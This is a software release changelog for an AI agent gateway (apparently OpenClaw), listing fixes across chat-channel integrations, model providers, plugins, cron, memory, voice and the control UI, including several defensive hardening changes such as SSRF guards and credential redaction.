• CLI backends/Claude: make live-session JSONL turn caps bounded and configurable via reliability.outputLimits, raising the default guard for tool-heavy Claude CLI turns while preserving memory limits. Fixes #75838. Thanks @hcordoba840.
• Telegram/DMs/network/commands: keep incidental message_thread_id reply-with-quote metadata on flat DM sessions unless topic isolation is configured, raise outbound text and typing Bot API guards to 60 seconds with safe timeout overrides and typing fallback retries, and register/clear command menus in default and group-chat scopes so /status and plugin commands stay available in forum topics. Fixes #75975, #76013, and #74032; updates #6457. Thanks @ProjectEvolutionEVE, @iaki1206, @dae-sun, and @WouldenShyp.
• Providers/OpenAI: resolve keychain:<service>:<account> OPENAI_API_KEY refs before creating OpenAI Realtime browser sessions or voice bridges, with a bounded cached Keychain lookup. Fixes #72120. Thanks @ctbritt.
• Discord/gateway: reconnect when the gateway socket closes while waiting for the shared IDENTIFY concurrency window, instead of silently skipping IDENTIFY and leaving the bot online but unresponsive. Fixes #74617. Thanks @zeeskdr-ai.
• Voice Call: add sessionScope: "per-call" for fresh per-call agent memory while preserving the default per-phone caller history. Fixes #45280. Thanks @pondcountry.
• Music generation: raise too-small tool timeouts to the provider-safe 10-second floor and collapse cascading abort fallback errors into a clearer root-cause summary. Thanks @shakkernerd.
• Memory-core/dreaming: include the primary runtime workspace in multi-agent dreaming sweeps without mixing main-agent session transcripts into configured subagent workspaces. Fixes #70014. Thanks @ttomiczek.
• Control UI: add tab/RPC timing attribution and decouple slow Overview/Cron secondary refreshes so Sessions navigation gets immediate visible feedback. Refs #64004. Thanks @WaMaSeDu.
• Memory: retry transient SQLite index file swaps during atomic reindex on Windows, so brief EBUSY, EPERM, or EACCES locks do not fail memory rebuilds. Fixes #64187. Thanks @kunpeng-ai-lab.
• Telegram/startup/models: use the existing getMe request guard and higher timeoutSeconds configs for slow Bot API paths, and make model picker confirmations say selections are session-scoped. Fixes #75783 and #75965. Thanks @tankotan and @sd1114820.
• Control UI/slash commands: keep fallback command metadata on a browser-safe registry path, so provider thinking runtime imports cannot blank the Web UI with process is not defined. Fixes #75987. Thanks @novkien.
• Heartbeat/Discord: keep async exec completion events out of the generic System (untrusted) prompt block and let the dedicated exec heartbeat prompt handle them, so Discord no longer receives raw exec failure tails as separate system-style messages. Fixes #66366. Thanks @Promee-ThaBossHoss.
• Heartbeat/scheduler: make heartbeat phase scheduling active-hours-aware so the scheduler seeks forward to the first in-window phase slot instead of arming timers for quiet-hours slots and relying solely on the runtime guard. Non-UTC activeHours.timezone values (e.g. Asia/Shanghai) now correctly influence when the next heartbeat timer fires, avoiding wasted quiet-hours ticks and long dormant gaps after gateway restarts. Fixes #75487. Thanks @amknight.
• Channels: strip plain-text MiniMax and XML tool-call scaffolding from shared user-facing reply sanitization, so messaging channels do not deliver raw model tool syntax when a provider emits it as text instead of structured tool calls. Fixes #62820. Thanks @canh0chua.
• Infer/media: report missing image-understanding and audio-transcription provider configuration for image describe, image describe-many, and audio transcribe instead of blaming the input path when no provider is available. Fixes #73569 and supersedes #73593, #74288, and #74495. Thanks @bittoby, @tmimmanuel, @Linux2010, and @vyctorbrzezowski.
• CLI/infer: reject local codex/* one-shot model probes before simple-completion dispatch and point operators at the Codex app-server runtime path instead of ending with an empty-output error.
• Docs/health: clarify that session listing surfaces stored conversation rows rather than Discord/channel socket liveness, and point connectivity checks at channel status and health probes. Fixes #70420. Thanks @ashersoutherncities-art and @martingarramon.
• WhatsApp/Cron: keep DM pairing-store approvals out of implicit cron and heartbeat recipient fallback, so scheduled automation only uses explicit targets, active configured recipients, or configured allowFrom entries. Fixes #62339. Thanks @kelvinisly-collab.
• Google Meet: keep the agent-facing google_meet tool visible on non-macOS hosts but block local Chrome realtime actions with guidance, so Linux agents can still use transcribe, Twilio, chrome-node, and artifact flows without choosing the macOS-only BlackHole path. Refs #75950. Thanks @actual-software-inc.
• macOS/settings: keep opening General from rewriting openclaw.json during Tailscale settings hydration, preserving gateway, auth, meta, and wizard until the user changes a setting. Fixes #59545. Thanks @Tengdw.
• Discord: prioritize interaction callbacks ahead of stale background REST work without polling active REST buckets, validate oversized gateway payloads and member-intent requests before send, and forward explicit component payloads from message actions. (#75363)
• Active Memory: use the configured recall timeout as the blocking prompt-build hook budget by default and move cold-start setup grace behind explicit setupGraceTimeoutMs config, so the plugin no longer silently extends 15000 ms configs to 45000 ms on the main lane. Fixes #75843. Thanks @vishutdhar.
• Plugins/web-provider: reuse the active gateway plugin registry for runtime web provider resolution after deriving the same candidate plugin ids as the loader path, avoiding a redundant loadOpenClawPlugins call on every request while preserving origin and scope filters. Fixes #75513. Thanks @jochen.
• Crestodian/CLI: exit non-zero when interactive Crestodian is invoked without a TTY, so scripts and CI no longer treat the setup error as success. Fixes #73646 and supersedes #73928 and #74059. Thanks @bittoby, @luyao618, and @Linux2010.
• Cron: keep implicit/default isolated cron announce deliveries out of the main session awareness queue, so isolated jobs do not accumulate in the main conversation. Fixes #61426. Thanks @Lihannon.
• Subagents: avoid duplicate parent-visible replies when a parent uses sessions_send on its own persistent native subagent session, while preserving announce delivery for async sends. Fixes #73550. Thanks @sylviazhang2006-design.
• Web search/Brave: add opt-in brave.http diagnostics for Brave request URLs/query params, response status/timing, and cache hit/miss/write events without logging API keys or response bodies. Fixes #55196. Thanks @mecampbellsoup.
• Web search/Brave: add plugins.entries.brave.config.webSearch.baseUrl for Brave-compatible proxies, including endpoint-aware cache keys for both web and LLM Context modes. Fixes #19075. Thanks @jkoprax and @vishnukool.
• Web search/config: validate explicit tools.web.search.provider values against bundled and installed plugin manifests, while warning for stale third-party plugin config. Fixes #53092. Thanks @TinyTb.
• Web search/SearXNG: retry empty non-general category searches once with the general category, so unsupported category engines do not return empty results when general search has matches. Fixes #73552. Thanks @Loukky.
• CLI/message: skip gateway-stop hooks for read-only message read and bound stop-hook shutdown for other message actions, so one-shot Discord reads cannot hang behind plugin lifecycle cleanup.
• Plugins/web-provider: cache repeated bundled web search and web fetch provider registry loads by default while preserving explicit cache opt-outs. Supersedes #75992. Thanks @DmitryPogodaev.
• Agents/sandbox: preserve existing workspace file modes when sandbox edits atomically replace files, so 0644 files do not collapse to 0600 after Write/Edit/apply_patch. Fixes #44077. Thanks @patosullivan.
• Control UI/WebChat: route typed /new through the New Chat dashboard-session creation flow instead of chat.send, while keeping /reset as the explicit current-session reset. Fixes #69599. Thanks @WolvenRA.
• Agents/models: keep legacy CLI runtime model refs such as claude-cli/* in the configured allowlist after canonical runtime migration, so cron payload.model overrides keep working. Fixes #75753. Thanks @RyanSandoval.
• Codex/app-server: restart the shared Codex app-server client once when it closes during startup thread resume, preserving the existing thread binding instead of retrying thread/start on a closed client. Thanks @vincentkoc.
• Gateway/watch: keep colored subsystem log prefixes in the managed tmux pane even when the parent shell exports NO_COLOR, while preserving explicit FORCE_COLOR=0 opt-out. Thanks @vincentkoc.
• Agents/compaction: submit a non-empty runtime-event marker for pre-compaction memory flush turns, so strict Anthropic providers no longer reject the silent flush as an empty user message. Fixes #75305. Thanks @sableassistant3777-source.
• Plugin SDK: re-export isPrivateIpAddress from plugin-sdk/ssrf-runtime, restoring source-checkout builds for SearXNG and Firecrawl private-network guards. Thanks @vincentkoc.
• Discord/message actions: advertise upload-file and route it through Discord's send runtime with agent-scoped media reads, so agents can discover and send file attachments. Fixes #60652 and supersedes #60808, #61087, and #61100. Thanks @claw-io, @efe-arv, @joelnishanth, and @sjhddh.
• Sessions: suppress exact inter-session control replies such as NO_REPLY and keep agent-to-agent announce bookkeeping out of visible transcripts. Fixes #53145. Thanks @TarahAssistant.
• CLI/directory: report unsupported directory operations for installed channel plugins instead of prompting to reinstall the plugin when it lacks a directory adapter. Fixes #75770. Thanks @lawong888.
• Web search/SearXNG/Firecrawl/Kimi: show the SearXNG JSON API search.formats prerequisite, pass through img_src image URLs, fail explicitly when Kimi returns ungrounded answers, keep public provider requests on strict SSRF guards, reject private/loopback/metadata/non-HTTP(S) hosted Firecrawl scrape targets, and allow explicit self-hosted private Firecrawl endpoints. Fixes #52573, #74357, and #63877; supersedes #65592, #61416, #74360, #48133, #59666, #63941, and #74013. Thanks @evanpaul14, @sghael, @wangwllu, @fede-kamel, @kn1ghtc, @jhthompson12, @jzakirov, @Mlightsnow, and @shad0wca7.
• CLI/models: report gateway model fallback attempts in infer model run --json and avoid double-prefixing provider-qualified defaults such as openrouter/auto in models status. Partially fixes #69527. Thanks @alexifra.
• Providers/OpenRouter: strip trailing assistant prefill turns from verified OpenRouter Anthropic model requests when reasoning is enabled, so Claude 4.6 routes no longer fail with Anthropic's prefill rejection through the OpenAI-compatible adapter. Fixes #75395. Thanks @sbmilburn.
• Voice Call: add per-number inbound routing for dialed-number greetings, response agents/models/prompts, and TTS voice overrides. Fixes #56604. Thanks @healthstatus.
• Feishu: preserve Feishu/Lark HTTP error bodies for message sends, media sends, and chat member lookups, so HTTP 400 failures include vendor code, message, log id, and troubleshooter details. Fixes #73860. Thanks @desksk.
• Agents/transcripts: avoid reopening large Pi transcript files through the synchronous session manager for maintenance rewrites, persisted tool-result truncation, manual compaction boundary hardening, and queued compaction rotation. Thanks @mariozechner.
• Web search/Exa/MiniMax: accept Exa webSearch.baseUrl overrides with endpoint-partitioned caches, include MiniMax Search in setup, and let MINIMAX_API_KEY participate in MiniMax Search auto-detection. Fixes #54928; supersedes #54939 and #65828. Thanks @mrpl327, @lyfuci, and @Jah-yee.
• Plugins/ClawHub: preserve official source-linked trust through archive installs, so OpenClaw can install trusted ClawHub plugin packages that trigger the built-in dangerous-pattern scanner. Thanks @vincentkoc.
• Plugins/ClawHub: install package runtime dependencies for archive-backed plugin installs, so ClawHub packages such as WhatsApp load declared dependencies after download. Thanks @vincentkoc.
• Plugins/tools: cache repeated plugin tool factory results only for matching request context, reducing per-turn tool prep without leaking sandbox, session, browser, delivery, or runtime config state. Fixes #75956. Thanks @Linux2010.
• Providers/LM Studio: allow models.providers.lmstudio.params.preload: false to skip OpenClaw's native model-load call so LM Studio JIT loading, idle TTL, and auto-evict can own model lifecycle. Fixes #75921. Thanks @garyd9.
• Agents/transcripts: keep chat history, restart recovery, fork token checks, and stale-token compaction checks on bounded async transcript reads or cached async indexes instead of reparsing large session files. Thanks @mariozechner.
• Telegram: inherit the process DNS result order for Bot API transport and downgrade recovered sticky IPv4 fallback promotions to debug logs, while keeping pinned-IP escalation warnings visible. Fixes #75904. Thanks @highfly-hi and @neeravmakwana.
• Sessions: keep durable external conversation pointers, including group and thread-scoped chat sessions, out of age, count, and disk-budget maintenance eviction while still allowing synthetic runtime entries to age out. Fixes #58088. Thanks @drinkflav.
• Web search/Providers MiniMax: allow MINIMAX_OAUTH_TOKEN to satisfy MiniMax Search credentials and derive Coding Plan usage polling from the configured MiniMax base URL, so OAuth-authorized and global setups use the right endpoint. Fixes #65768 and #65054. Thanks @kikibrian, @zhouhe-xydt, @sixone74, and @Yanhu007.
• Control UI/WebChat: skip assistant-media transcript supplements when stale media refs resolve to no playable media, so text-only final replies are not stored a second time as gateway-injected assistant messages. Fixes #73956. Thanks @HemantSudarshan.
• Sessions: reject sessions_send targets that resolve to thread-scoped chat sessions, so inter-agent coordination cannot be injected into active human-facing Slack or Discord threads. Fixes #52496. Thanks @barry-p5cc.
• Subagents: honor sessions_spawn with expectsCompletionMessage: false by skipping parent completion handoff delivery while still running child cleanup. Fixes #75848. Thanks @alfredjbclaw.
• Media/completions: treat media-only message-tool sends as delivered async completion output, avoiding duplicate raw MEDIA: fallback posts after video or music generation finishes.
• Gateway/logging: keep deferred channel startup logs on the subsystem logger, so Slack, Discord, Telegram, and voice-call startup messages keep timestamped prefixes. Thanks @vincentkoc.
• Codex/app-server: recover JSON-RPC frames split by raw command-output newlines and include a redacted preview when malformed app-server messages still reach the console. Thanks @vincentkoc.
• Replies/typing: keep typing alive for queued follow-up messages that are genuinely waiting behind an active run, instead of making chat surfaces look idle while work is queued. Fixes #65685. Thanks @papag00se.
• ACP/Discord: suppress completion announce delivery for inline thread-bound ACP session runs, so Discord thread-bound ACP replies are not delivered twice. Fixes #60780. Thanks @solavrc.
• Discord/threads: ignore webhook-authored copies in already-bound Discord session threads even when the webhook id differs, preventing PluralKit proxy copies from creating duplicate turn pressure. Fixes #52005. Thanks @acgh213.
• Discord/threads: return the created thread as partial success when the follow-up initial message fails, so agents do not retry thread creation and create empty duplicate threads. Fixes #48450. Thanks @dahifi.
• Discord/components: consume every button or select in a non-reusable component message after the first authorized click, so single-use panels cannot fire sibling callbacks. Fixes #54227. Thanks @fujiwarakasei.
• macOS/config: preserve existing gateway.auth and unrelated config keys during app fallback writes, so dashboard or Talk settings changes cannot strand Control UI clients by dropping persisted auth. Fixes #75631. Thanks @Fuma2013.
• Control UI/TUI: keep reconnecting chat sends bound to the same backing session id and let TUI relaunches resume the last selected session, avoiding silent fresh sessions after refresh, reconnect, or terminal restart. Fixes #63195, #68162, and #73546. Thanks @bond260312-cmyk, @zhong18804784882, and @mtuwei.
• Plugins/tools: let plugin manifests declare static tool availability so reply startup skips unavailable plugin tool runtimes instead of importing factories that only return null. Thanks @shakkernerd.
• Discord/reactions: skip reaction listener registration when DMs and group DMs are disabled and every configured guild has reactionNotifications: "off", avoiding needless reaction-event queue work. Fixes #47516. Thanks @x4v13r1120.
• CLI sessions: preserve explicit manual-attach reuse bindings so trusted CLI sessions are not invalidated on the first turn when auth, prompt, or MCP fingerprints drift. Fixes #75849. Thanks @alfredjbclaw.
• Telegram/streaming: keep partial preview streaming enabled for plain reply-to replies, disabling drafts only for real native quote excerpts that require Telegram quote parameters. Fixes #73505. Thanks @choury.
• Config: log the "newer OpenClaw" version warning once per process instead of once per config snapshot read. (#75927) Thanks @RomneyDa.
• Telegram/message actions: treat benign delete-message 400s as no-op warnings instead of runtime errors, so stale or already-removed messages do not create noisy delete failures. Fixes #73726. Thanks @Avicennasis.
• Telegram: split long default markdown sends and media follow-up text into safe HTML chunks, so outbound messages over Telegram's limit no longer fail as one oversized Bot API request. Fixes #75868. Thanks @zhengsx.
• Gateway/chat history: merge Claude CLI transcript imports for Anthropic-routed sessions that still have a Claude CLI binding, so local chat history does not hide CLI JSONL turns. Fixes #75850. Thanks @alfredjbclaw.
• Media: trim serialized JSON suffixes after local MEDIA: directive file extensions, so generated-image metadata cannot pollute the parsed media path and cause false ENOENT delivery failures. Fixes #75182. Thanks @TnzGit and @hclsys.
• Plugins/runtime: hot-reload Gateway plugin runtime surfaces after plugin enable/disable changes while keeping source-changing plugin install, update, and uninstall operations restart-backed so loaded module code is not reused. Fixes #72097.
• Cron: make scheduler reload schedule comparison tolerate malformed persisted jobs, so one bad cron entry no longer aborts the whole tick. Fixes #75886. Thanks @samfox-ai.
• Doctor/channels: warn after migrations when default Telegram or Discord accounts have no configured token and their env fallback (TELEGRAM_BOT_TOKEN or DISCORD_BOT_TOKEN) is unavailable, with secret-safe migration docs for checking state-dir .env. Fixes #74298. Thanks @lolaopenclaw.
• Gateway/diagnostics: keep idle liveness samples in telemetry instead of visible warning logs unless diagnostic work is active, waiting, or queued. Thanks @vincentkoc.
• Channels/cron: reject provider-prefixed targets for the wrong channel and let prefixed announce targets such as telegram:123 select their channel when delivery falls back to last, so Telegram IDs cannot be coerced into WhatsApp phone numbers. Fixes #56839. Thanks @bencoremans.
• Control UI/chat: keep live replies visible when a raw session alias such as main sends the chat turn but Gateway emits events under the canonical session key for the same run. Fixes #73716. Thanks @teebes.
• CLI/models: reject --agent on openclaw models set and set-image instead of silently writing agent-scoped requests to global model defaults. Fixes #68391. Thanks @derrickabellard.
• CLI: stop treating the legacy singular openclaw tool ... token as a plugin id under restrictive plugins.allow, so it falls through as a normal unknown/reserved command instead of suggesting a stale allowlist entry. Fixes #64732. Thanks @efe-arv, @SweetSophia, and @hashtag1974.
• Media: write inbound media buffers through same-directory temp files before rename, so failed disk writes do not leave zero-byte artifacts for later voice transcription. Fixes #55966. Thanks @OpenCodeEngineer.
• TTS/Telegram: keep trusted local audio generated by the TTS tool queued for voice-note delivery even when the run-level built-in tool list omits the raw tts name. Fixes #74752. Thanks @Loveworld3033 and @andyliu.
• TTS: require explicit user or config audio intent for the agent speech tool so dashboard chats stay text unless audio is requested. Fixes #69777. Thanks @alexandre-leng.
• Plugins/config: keep bundled source-checkout plugins from being runtime-gated by install-only minHostVersion metadata, accept prerelease host floors, trim plugin-service startup failures to one log line, and avoid broad channel-runtime loading during base config parsing. Thanks @vincentkoc.
• Heartbeat: strip legacy [TOOL_CALL]...[/TOOL_CALL] and [TOOL_RESULT]...[/TOOL_RESULT] pseudo-call blocks from heartbeat replies before channel delivery. Fixes #54138. Thanks @Deniable9570.
• macOS/Voice Wake: send wake-word and Push-to-Talk transcripts through the selected macOS session target instead of always falling back to main WebChat. Fixes #51040. Thanks @carl-jeffrolc.
• Providers/xAI: give Grok web_search a 60s default timeout, harden malformed xAI Responses parsing, and return structured timeout errors instead of aborting the tool call. Fixes #58063 and #58733. Thanks @dnishimura, @marvcasasola-svg, and @Nanako0129.
• Providers/configure: preserve the existing default model when adding or reauthing a provider whose plugin returns a default-model config patch. Fixes #50268. Thanks @rixcorp-oc.
• Slack/DMs/routing: honor dmHistoryLimit for fresh 1:1 DMs, keep top-level DMs on stable DM sessions even when replyToMode targets thread replies, send text/block-only proactive DMs directly with chat.postMessage(channel=<user id>), match Slack target route syntax such as channel:C..., user:U..., or <@U...>, and match public-channel allowlists against bare runtime channel IDs. Fixes #64427, #58832, #62042, #41608, and #41264; supersedes #56530. Thanks @brantley-creator, @daye-jjeong, @MarkMolina, @Winnsolutionsadmin, @babutree, and @Realworld404.
• Slack/delivery/capabilities: preserve missing-scope details in outbound errors, read granted scopes from auth.test metadata before legacy APIs, retry Slack writes only for wrapped DNS request failures such as EAI_AGAIN, and prefer the account bound to the outbound target peer in multi-workspace sends. Fixes #62391, #44625, and #68789; supersedes #66807. Thanks @alexey-pelykh, @Qquanwei, @martingarramon, @sonnyb9, and @rijhsinghani.
• Slack/message actions/tools: send media before follow-up Block Kit messages for file sends, forward agent-scoped media roots through the bundled upload-file path, resolve <!subteam^...> user-group mentions before waking mention-gated channels, and let read fetch an exact Slack message timestamp or thread reply. Fixes #51458, #64625, #73827, and #53943. Thanks @HirokiKobayashi-R, @benpchandler, @CG-Intelligence-Agent-Jack, and @zomars.
• PDF/Gemini: send native PDF analysis API keys in the x-goog-api-key header instead of the request URL, keeping secrets out of proxy and access logs. Supersedes #60600. Thanks @garagon.
• Web search/Gemini/DuckDuckGo/Brave/fetch: route abort signals into Gemini provider fetches, late-bind managed agent web_search calls to the current runtime config snapshot, reuse Google provider API key/base URL as lower-priority Gemini search fallbacks, pass Gemini freshness/date filters through grounding, include DuckDuckGo in setup, honor Gemini/Grok/x_search baseUrl overrides, point Brave metadata at canonical docs, support Brave LLM Context freshness/date ranges, resolve external webFetchProviders for non-sandboxed fetches, and point missing-key errors to web_fetch or browser where appropriate. Fixes #72995, #75420, #66498, #65862, #65870, and #74915; supersedes #57496, #65940, #61972, #65892, and #51005. Thanks @RoseKongPS, @richardmqq, @Aoiujz, @ismael-81, @Jah-yee, @Lanfei, @Magicray1217, @remusao, @ultrahighsuper, @mingmingtsao, and @zhaoyang97.
• Slack/directory: make openclaw directory peers/groups list --channel slack prefer token-backed live readers and return the connected Slack account from directory self, so valid Slack tokens no longer produce empty directory CLI results. Fixes #50776. Thanks @pjaillon.
• Slack: keep assistant typing status, temporary typing reactions, and status reactions active for group/channel turns that use message-tool-only visible replies, while still suppressing automatic source replies. Fixes #75877. Thanks @teosborne.
• Slack: recover full inbound DM text from top-level rich-text blocks when Slack sends a shortened message preview, so long direct messages still reach the agent intact. Fixes #55358. Thanks @tonyjwinter.
• Replies: strip legacy [TOOL_CALL]{tool => ..., args => ...}[/TOOL_CALL] pseudo-call text from user-facing replies and flag it in tool-call diagnostics instead of showing raw tool syntax in channels. Fixes #63610. Thanks @canh0chua.
• WhatsApp: close long-lived web sockets through Baileys end(error) before falling back to raw websocket close, so listener teardown runs Baileys cleanup instead of leaving zombie sockets. Fixes #52442. Thanks @essendigitalgroup-cyber.
• Twitch/plugins: emit a flat JSON Schema for Twitch channel config so single-account and multi-account configs validate before runtime load, and add source-checkout diagnostics for missing pnpm workspace dependencies. Thanks @vincentkoc.
• Gateway/sessions: move hot transcript reads and mirror appends onto async bounded IO with serialized parent-linked writes, keeping large session histories from stalling Gateway requests and channel replies. Fixes #75656. Thanks @DerFlash.
• macOS/Talk Mode: downmix multi-channel microphone buffers before handing them to Apple Speech across Push-to-Talk, Talk Mode, Voice Wake, and the wake-word tester, so pro audio interfaces no longer produce empty transcripts. Fixes #42533. Thanks @jbuecker.
• macOS/Talk Mode: subscribe native WebChat to active-session transcript updates and render external spoken user turns in the chat thread instead of only showing assistant replies. Fixes #75155. Thanks @SledderBling.
• macOS/Voice Wake: accept trigger-only phrases in the built-in Voice Wake test, matching the settings UI and runtime trigger-only path instead of requiring extra command text after the wake word. Fixes #64986. Thanks @zoiks65.
• Cron/TTS: run cron announce payloads through the normal TTS directive transform before outbound delivery, so scheduled [[tts]] replies generate voice payloads instead of leaking raw tags. Fixes #52125. Thanks @kenchen3000.
• WhatsApp: save downloadable quoted image media from reply context as inbound media, so agents can inspect an image that a user replied to instead of only seeing <media:image>. Fixes #59174. Thanks @gaffner.
• Sessions/store: stop persisting the runtime-only skillsSnapshot.resolvedSkills array inside each session entry, so sessions.json no longer carries a copy of every parsed SKILL.md body for every active session; ensureSkillSnapshot rehydrates the array from disk on cold resume so the embedded runner, the Claude CLI skills plugin, and the Claude live-session fingerprint all see populated skills, and legacy stores self-heal on the next save. Refs #11950, #6650, #15000. Thanks @amoghasgekar.
• Doctor/WhatsApp: warn when Linux crontabs still run the legacy ensure-whatsapp.sh health check, which can misreport Gateway inactive when cron lacks the systemd user-bus environment. Fixes #60204. Thanks @mySebbe.
• Slack/setup: print the generated app manifest as plain JSON instead of embedding it inside the framed setup note, so it can be copied into Slack without deleting border characters. Fixes #65751. Thanks @theDanielJLewis.
• Channels/WhatsApp: route CLI logout through the live Gateway and stop runtime-backed listeners before channel removal, so removing a WhatsApp account does not leave the old socket replying until restart. Fixes #67746. Thanks @123Mismail.
• Voice Call/Twilio: honor TTS directive text and provider voice/model overrides during telephony synthesis, so [[tts:...]] tags are not spoken literally and voiceId overrides reach OpenAI/ElevenLabs calls. Fixes #58114. Thanks @legonhilltech-jpg.
• Agents/session-locks: reclaim untracked current-process session locks with matching starttime during acquisition and startup cleanup, so Gateway restarts recover from self-owned orphan .jsonl.lock files. Fixes #75805; refs #49603. Thanks @cdznho.
• Agents/subagents: initialize built-in context engines before native sessions_spawn resolves spawn preparation, so cliBackend-only cold starts no longer fail with an unregistered legacy context engine. Fixes #73095. (#73904) Thanks @brokemac79.
• Plugins/Bonjour: ship the ciao runtime dependency with packaged OpenClaw so fresh OCM envs can start default mDNS discovery without a missing-module failure. Thanks @shakkernerd.
• Agents/tools: scope reply plugin-tool discovery to manifest-declared tool owners and already-active matching tool entries, avoiding broad plugin runtime loading for narrow or core-only tool allowlists. Thanks @shakkernerd.
• Agents/replies: defer implicit image model discovery and keep OAuth auth-store adoption on persisted profiles during reply startup, cutting OCM MarCodex warm prep to sub-second in live checks. Thanks @shakkernerd.
• Plugins/tools: enforce contracts.tools as the manifest ownership contract for plugin tool registration, rejecting undeclared runtime tool names and adding bundled plugin drift coverage. Thanks @shakkernerd.
• Agents/Codex: stop prompting message-tool-only source turns to finish with NO_REPLY, so quiet turns are represented by not calling the visible message tool instead of conflicting final-text instructions. Thanks @pashpashpash.
• Gateway/config: report failed backup restores as failed in logs and config observe audit records instead of marking them valid. (#70515) Thanks @davidangularme.
• Compaction: use the active session model fallback chain for implicit summarization failures without persisting fallback model selection, so Azure content-filter 400s can recover. Fixes #64960. (#74470) Thanks @jalehman and @OpenCodeEngineer.
• Gateway/config: allow gateway config.patch to update documented subagent thinking defaults. Fixes #75764. (#75802) Thanks @kAIborg24.
• Plugins/CLI: keep git plugin install paths credential-free, preserve existing git checkouts until replacement succeeds, honor duplicate npm install mode, and remove managed git repos on uninstall. Thanks @vincentkoc.
• Plugins/CLI: redact authenticated git URLs from git install command failure details, so failed clone or checkout output cannot leak credentials during plugin installs. Thanks @vincentkoc.
• Channels/status reactions: remove stale non-terminal lifecycle reactions when a run reaches done or error, so Discord does not leave a permanent thinking emoji after completion. Fixes #75458. Thanks @davelutztx.
• Discord/doctor: migrate unsupported per-channel agentId entries under guild channel config into top-level bindings[] routes, so openclaw doctor --fix preserves the intended agent route instead of stripping it as an unknown key. Fixes #62455. Thanks @lobster-biscuit.
• Discord/DMs: set inbound direct-message ctx.To to the semantic user:<id> target while keeping delivery routed through the DM channel, so mirror and recovery paths do not treat DMs as channel conversations. Fixes #68126. Thanks @illuminate0623.
• Discord/DMs: keep no-guild inbound messages on direct-message routing when Discord channel lookup is temporarily unavailable, preventing degraded DMs from forking into channel sessions. Fixes #59817. Thanks @DooPeePey.
• Discord: retry outbound API calls on HTTP 5xx, request-timeout, and transient transport failures instead of only Discord rate limits, reducing dropped cron and agent replies during short Discord or network outages. Fixes #52396. Thanks @sunshineo.
• Discord: include Components v2 Text Display content from referenced replies and forwarded snapshots, so component-only messages still appear in reply context. Fixes #56228. Thanks @HollandDrive.
• Discord: add configurable gateway READY timeouts for startup and runtime reconnects, so staggered multi-account setups can avoid false restart loops. Fixes #72273. Thanks @sergionsantos.
• Discord: preserve native slash-command description localizations through command reconcile, so localized Discord descriptions no longer get overwritten by English defaults. Fixes #56580. Thanks @mhseo93.
• Discord: add configured outbound mention aliases so known @Name references can be rewritten to real Discord user mentions instead of relying only on the transient directory cache. Fixes #67587. Thanks @McoreD.
• Discord: avoid startup REST amplification by skipping native command deploy retries after Discord rate limits and deriving the bot id from parseable bot tokens instead of requiring a /users/@me lookup. Fixes #75341. Thanks @PrinceOfEgypt.
• Plugins/hooks: derive hook ctx.channelId from the conversation target instead of the provider name, so Discord and other channel plugins can keep per-channel state isolated. Fixes #59881. Thanks @bradfreels.
• Gateway/config: log config health-state write failures instead of silently hiding config observe-recovery write errors. Thanks @sallyom.
• Diagnostics: reset stuck-session timers on reply, tool, status, block, and ACP progress events, and back off repeated session.stuck diagnostics while a session remains unchanged. Supersedes #72010. Thanks @rubencu.
• Gateway/agents: avoid rebuilding core tools for plugin-only allowlists and keep the full plugin registry cache warm across scoped plugin loads, reducing per-turn latency spikes. Fixes #75882, #75907, #75906, #75887, and #75851. (#75922) Thanks @obviyus.
• Agents/failover: classify bare status: internal server error provider messages as retryable server errors so model fallback can rotate instead of stopping. (#73844) Thanks @thesomewhatyou.
• Gateway/startup: return the shared retryable startup-sidecars error for startup-gated control-plane RPCs such as sessions.create, sessions.send, sessions.abort, agent.wait, and tools.effective, so clients can retry early sidecar races. (#76012) Thanks @scoootscooob.
• Providers/Google: fix Gemini 2.5 Flash-Lite reasoning: "minimal" rejections by raising its thinking-budget floor to 512 while preserving the existing Gemini 2.5 Pro and Flash minimal presets. (#70629) Thanks @ericberic.
• Agents/status: resolve session_status(sessionKey="current") for sparse channel-plugin sessions after literal current lookups miss, so Scope, Slack, Discord, and other plugin-driven agents avoid retrying through Unknown sessionKey: current. Fixes #74141. (#72306) Thanks @bittoby.
• Cron: retry recurring wake-now main-session jobs through temporary heartbeat busy skips before recording success, so queued cron events no longer appear as ok ghost runs while the main lane is still busy. Fixes #75964. (#76083) Thanks @kshetrajna12 and @xuruiray.
• Providers/Google: keep Gemini thinking-signature-only stream chunks active during reasoning, so Gemini 3.1 Pro Preview replies no longer hit idle timeouts before visible text. Fixes #76071. (#76080) Thanks @marcoschierhorn and @zhangguiping-xydt.
• CLI/skills: show per-agent model and command visibility in openclaw skills check --agent, and let doctor report or disable unavailable skills allowed for the default agent. (#75983) Thanks @mbelinky.
• Agents/runtime/tools: keep reply startup on Gateway metadata, manifest catalog rows, auth-store state, and plugin loader cache-key compatibility checks so scoped runtime registries, model allowlists, thinking metadata, media/PDF/generation tools, Comfy workflows, OpenAI Codex OAuth image generation, and image/video/music tool registration avoid broad provider/runtime loads while preserving explicit config and auth-backed providers. Thanks @shakkernerd.
• Discord: document canonical mention formatting in agent prompt hints and channel docs so outbound replies use <@USER_ID>, <#CHANNEL_ID>, and <@&ROLE_ID> instead of legacy nickname mentions. (#75173)
• Heartbeat scheduler: gate exec-event/notification/spawn/retry wakes through a centralized cooldown so backgrounded process.start exit notifications can no longer self-feed runaway heartbeat runs (configured every: "30m" was firing every ~10s in production, pegging the gateway event loop with eventLoopDelayMaxMs >6s spikes that stalled control-UI asset serving and TUI handshakes). Documented wake-now paths (manual, wake, task completion, blocked-task follow-up, /hooks/wake mode=now, and cron --wake now) remain immediate; retryable busy skips no longer poison the cooldown for the next retry; per-agent flood guard caps any unexpected feedback loop at 5 runs/60s. (#64016, refs #17797 and #75436) Thanks @hexsprite.
• fix: block workspace CLOUDSDK_PYTHON override and always set trusted interpreter for gcloud. (#74492) Thanks @pgondhi987.
• Providers/Z.AI: move the bundled GLM catalog and auth env metadata into the plugin manifest, so models list --all --provider zai shows the full known catalog without duplicated runtime seed data. Thanks @shakkernerd.
• Providers/Qianfan and Providers/Stepfun: declare setup auth metadata (api-key method, QIANFAN_API_KEY, STEPFUN_API_KEY) in the plugin manifest so onboarding and models setup surface the expected env var without falling back to legacy providerAuthEnvVars runtime seed data. Thanks @shakkernerd.
• fix(infra): block ambient Homebrew env vars from brew resolution. (#74463) Thanks @pgondhi987.
• Onboarding/configure: avoid staging every default plugin runtime dependency after config writes, so skipped setup flows only prepare config-selected plugin deps instead of pulling broad feature-plugin packages. Thanks @vincentkoc.
